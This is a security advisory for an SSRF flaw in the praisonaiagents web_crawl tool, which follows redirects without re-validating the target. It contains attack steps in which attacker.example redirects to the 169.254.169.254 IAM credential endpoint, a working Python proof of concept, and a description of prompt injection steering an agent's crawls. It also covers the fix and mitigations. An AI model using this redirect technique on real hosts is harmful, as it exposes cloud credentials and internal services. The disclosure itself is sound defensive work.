praisonaiagents web_crawl vulnerable to SSRF via redirect-followingGHSA-5r34-2g38-6569
HIGHFix: MervinPraison/PraisonAI@2f9677aGHSA-5r34-2g38-6569 is a high-severity (CVSS 7.5) Server-Side Request Forgery (SSRF) vulnerability in praisonaiagents. A fix is available for praisonaiagents — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-5r34-2g38-6569.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-5r34-2g38-6569 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,738 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
praisonaiagentsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
web_crawl (an exported, model-callable tool) validates only the INITIAL URL's resolved IP against a private/loopback blocklist, then fetches with httpx.Client(follow_redirects=True) and never re-validates redirect targets.
An attacker who controls the agent's crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata 169.254.169.254, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier web_crawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock pip install praisonaiagents, so no provider configuration is required.
Details
- The agent is asked (or prompt-injected) to crawl
https://attacker.example/r, which the source accepts becauseattacker.exampleresolves to a public IP. - The attacker server responds 302 Location:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>. _crawl_with_httpxfollows the redirect withfollow_redirects=True, fetches the IAM credential document, andweb_crawlreturns it in the result content field, where it enters the agent context and any downstream tool, log, or model response.
The same technique reaches http://127.0.0.1:<port>/ internal services and other link-local and RFC1918 hosts
Source (validates only the initial hostname)
# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:231
ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:
logger.warning(f"Rejected SSRF or private IP attempt: {u}")
continue
Sink (follows redirects with no re-validation)
# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:142
import httpx
with httpx.Client(follow_redirects=True, timeout=30.0) as client:
response = client.get(url)
response.raise_for_status()
content = response.text
PoC
Dependencies: pip install praisonaiagents==1.6.52 httpx
Preconditions:
- The agent has the
web_crawltool registered, which is a standard exported tool. - The default crawl provider
httpxis selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install). ALLOW_LOCAL_CRAWLis not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass.- The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).
"""Direct loopback is blocked; a public redirector to loopback is not."""
import http.server, json, socket, threading, urllib.parse
from praisonaiagents.tools import web_crawl
SECRET = "INTERNAL-ONLY-IAM-CREDENTIAL-zzz"
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(SECRET.encode())
def log_message(self, *a): pass
s = socket.socket(); s.bind(("127.0.0.1", 0)); port = s.getsockname()[1]; s.close()
srv = http.server.HTTPServer(("127.0.0.1", port), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
internal = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/"
control = web_crawl(internal) # front-door blocks loopback
leaked = lambda r: SECRET in json.dumps(r)
redirector = "https://httpbin.org/redirect-to?" + urllib.parse.urlencode(
{"url": internal, "status_code": "302"}) # public host -> 302 -> internal
exploit = web_crawl(redirector)
srv.shutdown()
print("control_leaked", leaked(control), "| exploit_leaked", leaked(exploit))
assert not leaked(control) and leaked(exploit)
print("CONFIRMED: internal secret exfiltrated via redirect, front-door bypassed")
Impact
Any attacker who can influence an agent's crawl target (a crafted task, or prompt injection in any page the agent crawls) reads internal-only resources through the agent. On a cloud host this discloses the instance metadata service IAM credentials, giving the attacker the agent host's cloud role; it also reaches localhost admin services and internal APIs. The fetched body is returned into the agent context, so it is exposed to the model, logs, and downstream tools. The SSRF protection that the earlier web_crawl advisories added is fully enabled and still bypassed.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonaiagents | all versions | 1.6.58pip install --upgrade 'praisonaiagents==1.6.58' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonaiagents, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update praisonaiagents to 1.6.58 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5r34-2g38-6569 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is GHSA-5r34-2g38-6569 in your dependencies?
Find it across PyPI, including transitive dependencies.